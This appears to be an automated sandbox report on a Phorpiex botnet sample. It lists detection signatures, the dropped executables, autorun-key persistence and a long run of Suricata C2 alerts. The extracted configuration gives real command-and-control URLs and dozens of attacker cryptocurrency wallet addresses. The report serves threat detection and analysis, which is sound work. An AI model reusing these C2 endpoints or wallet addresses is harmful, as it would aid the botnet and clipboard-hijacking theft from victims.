Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1512821
MD5:	ababca6d12d96e8dd2f1d7114b406fae
SHA1:	dcd9798e83ec688aacb3de8911492a232cb41a32
SHA256:	a992920e64a64763f3dd8c2a431a0f5e56e5b3782a1496de92bc80ee71cca5ba
Tags:	exePhorpiex
Infos:

Detection

Phorpiex

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Phorpiex

AI detected suspicious sample

Changes security center settings (notifications, updates, antivirus, firewall)

Changes the view of files in windows explorer (hidden files and folders)

Contains functionality to check if Internet connection is working

Contains functionality to detect sleep reduction / modifications

Drops executables to the windows directory (C:\Windows) and starts them

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Machine Learning detection for dropped file

Machine Learning detection for sample

Abnormal high CPU Usage

Connects to several IPs in different countries

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6672 cmdline: "C:\Users\user\Desktop\file.exe" MD5: ABABCA6D12D96E8DD2F1D7114B406FAE)

sysmablsvr.exe (PID: 6768 cmdline: C:\Windows\sysmablsvr.exe MD5: ABABCA6D12D96E8DD2F1D7114B406FAE)

158752420.exe (PID: 3384 cmdline: C:\Users\user\AppData\Local\Temp\158752420.exe MD5: 8242045FF6B7BED00C8A94C77193F2DE)

524024912.exe (PID: 332 cmdline: C:\Users\user\AppData\Local\Temp\524024912.exe MD5: AC0A159A6C219E2CEA55DCC77AB6E337)

259428477.exe (PID: 504 cmdline: C:\Users\user\AppData\Local\Temp\259428477.exe MD5: 8242045FF6B7BED00C8A94C77193F2DE)

2958729589.exe (PID: 1260 cmdline: C:\Users\user\AppData\Local\Temp\2958729589.exe MD5: 8242045FF6B7BED00C8A94C77193F2DE)

sysmablsvr.exe (PID: 2148 cmdline: "C:\Windows\sysmablsvr.exe" MD5: ABABCA6D12D96E8DD2F1D7114B406FAE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Phorpiex	Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.	No Attribution	https://bin.re/blog/phorpiex/ https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/ https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html https://research.checkpoint.com/2019/phorpiex-breakdown/ https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/	https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Malware Configuration

Threatname: Phorpiex

{"C2 url": ["http://185.215.113.66/", "http://77.91.77.92/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw", "band1f05d98dvehkecw6ex3yd4pxqssw3uemx09sg2n", "bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Ge7amzjabAHdubjUYS2Cw84hNScLVRHmHg", "EQDYiebztC06Lpo9y1-m-g_bOsJ2KN3I-1mOgllNNIlIPZLi", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\sysmablsvr.exe	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000001.00000000.1804968685.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000000.1784055994.0000000000410000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000000.1909749196.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000002.1815284495.0000000000410000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
00000000.00000003.1805000272.0000000000547000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: file.exe PID: 6672	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysmablsvr.exe PID: 6768	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Process Memory Space: sysmablsvr.exe PID: 2148	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
2.0.sysmablsvr.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
1.2.sysmablsvr.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
0.2.file.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
2.2.sysmablsvr.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
1.0.sysmablsvr.exe.400000.0.unpack	JoeSecurity_Phorpiex_4	Yara detected Phorpiex	Joe Security
Click to see the 1 entries

Sigma Signatures

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\sysmablsvr.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 6672, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings

Suricata Signatures

ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-17T23:09:18.095591+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	84.54.122.14	40500	UDP
2024-09-17T23:09:23.161855+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	178.151.4.209	40500	UDP
2024-09-17T23:09:33.235648+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	2.189.25.176	40500	UDP
2024-09-17T23:09:38.241849+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	86.102.56.226	40500	UDP
2024-09-17T23:09:43.241812+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	2.190.124.23	40500	UDP
2024-09-17T23:09:58.255064+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	105.106.52.97	40500	UDP
2024-09-17T23:10:03.308803+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	217.30.170.10	40500	UDP
2024-09-17T23:10:08.302854+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	217.30.162.37	40500	UDP
2024-09-17T23:10:13.319220+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	81.195.238.130	40500	UDP
2024-09-17T23:10:23.335541+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	46.100.121.146	40500	UDP
2024-09-17T23:10:28.348342+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	37.255.23.100	40500	UDP
2024-09-17T23:10:38.364094+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	178.253.109.195	40500	UDP
2024-09-17T23:10:43.380318+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	5.236.253.124	40500	UDP
2024-09-17T23:10:48.397244+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	213.230.127.213	40500	UDP
2024-09-17T23:10:58.514941+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	89.43.145.18	40500	UDP
2024-09-17T23:11:03.520358+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	79.165.23.131	40500	UDP
2024-09-17T23:11:13.541304+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	151.240.79.133	40500	UDP
2024-09-17T23:11:23.570592+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	178.88.111.20	40500	UDP
2024-09-17T23:12:18.707808+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	2.185.144.157	40500	UDP
2024-09-17T23:12:23.724097+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	78.39.225.27	40500	UDP
2024-09-17T23:12:28.739574+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	37.228.65.185	40500	UDP
2024-09-17T23:12:38.848779+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	149.54.47.90	40500	UDP
2024-09-17T23:12:53.879963+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	188.215.175.89	40500	UDP
2024-09-17T23:12:58.897691+0200	2044077	1	A Network Trojan was detected	192.168.2.4	59145	100.109.48.43	40500	UDP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-17T23:09:16.259431+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	185.215.113.66	80	TCP
2024-09-17T23:09:17.984779+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49732	185.215.113.66	80	TCP
2024-09-17T23:09:23.386341+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:25.665035+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:27.916077+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:30.163885+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:32.414765+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:37.130578+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49738	77.91.77.92	80	TCP
2024-09-17T23:09:40.900663+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49741	77.91.77.92	80	TCP
2024-09-17T23:09:44.587314+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49743	77.91.77.92	80	TCP
2024-09-17T23:09:48.275269+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49744	77.91.77.92	80	TCP
2024-09-17T23:09:52.012408+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49745	77.91.77.92	80	TCP
2024-09-17T23:09:55.742140+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49746	77.91.77.92	80	TCP
2024-09-17T23:09:59.523347+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49748	91.202.233.141	80	TCP
2024-09-17T23:10:01.236543+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:07.663501+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:10.219426+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:16.643936+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49752	91.202.233.141	80	TCP
2024-09-17T23:10:16.846309+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:19.905577+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:22.671072+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49754	91.202.233.141	80	TCP
2024-09-17T23:10:25.439810+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49756	91.202.233.141	80	TCP
2024-09-17T23:10:29.317891+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49758	185.215.113.66	80	TCP
2024-09-17T23:10:31.032415+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49759	185.215.113.66	80	TCP
2024-09-17T23:10:37.676890+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49762	185.215.113.66	80	TCP
2024-09-17T23:10:40.456563+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49764	185.215.113.66	80	TCP
2024-09-17T23:10:43.194117+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49766	185.215.113.66	80	TCP
2024-09-17T23:10:46.044400+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49767	185.215.113.66	80	TCP
2024-09-17T23:10:48.784910+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49769	185.215.113.66	80	TCP
2024-09-17T23:10:53.491643+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49770	77.91.77.92	80	TCP
2024-09-17T23:10:57.334445+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49772	77.91.77.92	80	TCP
2024-09-17T23:11:01.041077+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49774	77.91.77.92	80	TCP
2024-09-17T23:11:04.737217+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49776	77.91.77.92	80	TCP
2024-09-17T23:11:08.444057+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49777	77.91.77.92	80	TCP
2024-09-17T23:11:12.115917+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49779	77.91.77.92	80	TCP
2024-09-17T23:11:16.142994+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49781	91.202.233.141	80	TCP
2024-09-17T23:11:17.859805+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49782	91.202.233.141	80	TCP
2024-09-17T23:11:24.665171+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49785	91.202.233.141	80	TCP
2024-09-17T23:11:27.404856+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49786	91.202.233.141	80	TCP
2024-09-17T23:11:30.236762+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49788	91.202.233.141	80	TCP
2024-09-17T23:11:33.050771+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49789	91.202.233.141	80	TCP
2024-09-17T23:11:35.900980+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49791	91.202.233.141	80	TCP
2024-09-17T23:11:39.986361+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49793	185.215.113.66	80	TCP
2024-09-17T23:11:41.832654+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49794	185.215.113.66	80	TCP
2024-09-17T23:11:47.503983+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49797	185.215.113.66	80	TCP
2024-09-17T23:11:50.288976+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49799	185.215.113.66	80	TCP
2024-09-17T23:11:53.080321+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49800	185.215.113.66	80	TCP
2024-09-17T23:11:55.821523+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49802	185.215.113.66	80	TCP
2024-09-17T23:11:58.781922+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49803	185.215.113.66	80	TCP
2024-09-17T23:12:03.475094+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49805	77.91.77.92	80	TCP
2024-09-17T23:12:07.188452+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49807	77.91.77.92	80	TCP
2024-09-17T23:12:10.900881+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49809	77.91.77.92	80	TCP
2024-09-17T23:12:14.779580+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49810	77.91.77.92	80	TCP
2024-09-17T23:12:18.495368+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49812	77.91.77.92	80	TCP
2024-09-17T23:12:22.405916+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49814	77.91.77.92	80	TCP
2024-09-17T23:12:26.510035+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49816	91.202.233.141	80	TCP
2024-09-17T23:12:28.823664+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49817	91.202.233.141	80	TCP
2024-09-17T23:12:35.986822+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49820	91.202.233.141	80	TCP
2024-09-17T23:12:38.729098+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49821	91.202.233.141	80	TCP
2024-09-17T23:12:41.467262+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49823	91.202.233.141	80	TCP
2024-09-17T23:12:44.777939+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49825	91.202.233.141	80	TCP
2024-09-17T23:12:47.533845+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49826	91.202.233.141	80	TCP
2024-09-17T23:12:51.407501+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49828	185.215.113.66	80	TCP
2024-09-17T23:12:54.150335+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49829	185.215.113.66	80	TCP
2024-09-17T23:12:56.871465+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49831	185.215.113.66	80	TCP
2024-09-17T23:12:59.607090+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49832	185.215.113.66	80	TCP
2024-09-17T23:13:02.354191+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49834	185.215.113.66	80	TCP
2024-09-17T23:13:05.072325+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49836	185.215.113.66	80	TCP
2024-09-17T23:13:09.923770+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49837	77.91.77.92	80	TCP
2024-09-17T23:13:13.779440+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49839	77.91.77.92	80	TCP

ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-17T23:09:15.563777+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49793	TCP
2024-09-17T23:11:43.982652+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49794	TCP
2024-09-17T23:11:46.807316+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.4	49796	TCP

ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-17T23:09:16.259431+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49730	185.215.113.66	80	TCP
2024-09-17T23:09:17.984779+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49732	185.215.113.66	80	TCP
2024-09-17T23:09:23.386341+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:25.665035+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:27.916077+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:30.163885+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:32.414765+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49734	185.215.113.66	80	TCP
2024-09-17T23:09:37.130578+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49738	77.91.77.92	80	TCP
2024-09-17T23:09:40.900663+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49741	77.91.77.92	80	TCP
2024-09-17T23:09:44.587314+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49743	77.91.77.92	80	TCP
2024-09-17T23:09:48.275269+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49744	77.91.77.92	80	TCP
2024-09-17T23:09:52.012408+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49745	77.91.77.92	80	TCP
2024-09-17T23:09:55.742140+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49746	77.91.77.92	80	TCP
2024-09-17T23:09:59.523347+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49748	91.202.233.141	80	TCP
2024-09-17T23:10:01.236543+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:07.663501+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49749	91.202.233.141	80	TCP
2024-09-17T23:10:10.219426+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:16.846309+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:19.905577+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49751	91.202.233.141	80	TCP
2024-09-17T23:10:22.671072+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49754	91.202.233.141	80	TCP
2024-09-17T23:10:25.439810+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49756	91.202.233.141	80	TCP
2024-09-17T23:10:29.317891+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49758	185.215.113.66	80	TCP
2024-09-17T23:10:31.032415+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49759	185.215.113.66	80	TCP
2024-09-17T23:10:37.676890+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49762	185.215.113.66	80	TCP
2024-09-17T23:10:40.456563+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49764	185.215.113.66	80	TCP
2024-09-17T23:10:43.194117+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49766	185.215.113.66	80	TCP
2024-09-17T23:10:46.044400+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49767	185.215.113.66	80	TCP
2024-09-17T23:10:48.784910+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49769	185.215.113.66	80	TCP
2024-09-17T23:10:53.491643+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49770	77.91.77.92	80	TCP
2024-09-17T23:10:57.334445+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49772	77.91.77.92	80	TCP
2024-09-17T23:11:01.041077+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49774	77.91.77.92	80	TCP
2024-09-17T23:11:04.737217+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49776	77.91.77.92	80	TCP
2024-09-17T23:11:08.444057+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49777	77.91.77.92	80	TCP
2024-09-17T23:11:12.115917+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49779	77.91.77.92	80	TCP
2024-09-17T23:11:16.142994+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49781	91.202.233.141	80	TCP
2024-09-17T23:11:17.859805+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49782	91.202.233.141	80	TCP
2024-09-17T23:11:24.665171+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49785	91.202.233.141	80	TCP
2024-09-17T23:11:27.404856+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49786	91.202.233.141	80	TCP
2024-09-17T23:11:30.236762+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49788	91.202.233.141	80	TCP
2024-09-17T23:11:33.050771+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49789	91.202.233.141	80	TCP
2024-09-17T23:11:35.900980+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49791	91.202.233.141	80	TCP
2024-09-17T23:11:39.986361+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49793	185.215.113.66	80	TCP
2024-09-17T23:11:41.832654+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49794	185.215.113.66	80	TCP
2024-09-17T23:11:47.503983+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49797	185.215.113.66	80	TCP
2024-09-17T23:11:50.288976+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49799	185.215.113.66	80	TCP
2024-09-17T23:11:53.080321+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49800	185.215.113.66	80	TCP
2024-09-17T23:11:55.821523+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49802	185.215.113.66	80	TCP
2024-09-17T23:11:58.781922+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49803	185.215.113.66	80	TCP
2024-09-17T23:12:03.475094+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49805	77.91.77.92	80	TCP
2024-09-17T23:12:07.188452+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49807	77.91.77.92	80	TCP
2024-09-17T23:12:10.900881+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49809	77.91.77.92	80	TCP
2024-09-17T23:12:14.779580+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49810	77.91.77.92	80	TCP
2024-09-17T23:12:18.495368+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49812	77.91.77.92	80	TCP
2024-09-17T23:12:22.405916+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49814	77.91.77.92	80	TCP
2024-09-17T23:12:26.510035+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49816	91.202.233.141	80	TCP
2024-09-17T23:12:28.823664+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49817	91.202.233.141	80	TCP
2024-09-17T23:12:35.986822+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49820	91.202.233.141	80	TCP
2024-09-17T23:12:38.729098+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49821	91.202.233.141	80	TCP
2024-09-17T23:12:41.467262+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49823	91.202.233.141	80	TCP
2024-09-17T23:12:44.777939+0200	2848295	1	A Network Trojan was detected	192.168.2.4	49825	91.202.233.141	80	TCP
